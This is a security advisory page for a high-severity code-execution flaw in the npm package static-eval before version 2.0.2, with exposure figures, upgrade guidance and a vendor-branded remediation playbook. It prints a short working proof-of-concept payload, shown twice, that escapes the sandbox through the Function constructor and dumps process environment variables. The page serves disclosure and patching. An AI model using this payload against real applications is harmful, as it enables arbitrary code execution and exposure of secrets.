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Sandbox Breakout / Arbitrary Code Execution in static-evalGHSA-x9hc-rw35-f44h

HIGH

GHSA-x9hc-rw35-f44h is a high-severity (CVSS 7.3) remote code execution vulnerability in static-eval. A fix is available for static-eval — see the affected versions and patch details below.

Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 27, 2021 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

266other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
static-evalnpm
4.5Mdownloads / week

Description

Versions of static-evalprior to 2.0.2 pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.

Proof of concept

var evaluate = require('static-eval');
var parse = require('esprima').parse;

var src = process.argv[2];
var payload = '(function({x}){return x.constructor})({x:"".sub})("console.log(process.env)")()'
var ast = parse(payload).body[0].expression;
console.log(evaluate(ast, {x:1}));

Recommendation

Upgrade to version 2.0.2 or later.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmstatic-evalall versions2.0.2npm install static-eval@2.0.2

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for static-eval, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update static-eval to 2.0.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-x9hc-rw35-f44h is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

Versions of `static-eval`prior to 2.0.2 pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package. ## Proof of concept ``` var evaluate = require('static-eval'); var parse = require('esprima').parse; var src = process.argv[2]; var payload = '(function({x}){return x.constructor})({x:"".sub})("console.log(process.env)")()' var ast = parse(payload).body[0].expression; console.log(evaluate(ast, {x:1})); ``` ## Recommendation Upgrade to version 2.0.2 or later.
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Sandbox Breakout / Arbitrary Code Execution in static-eval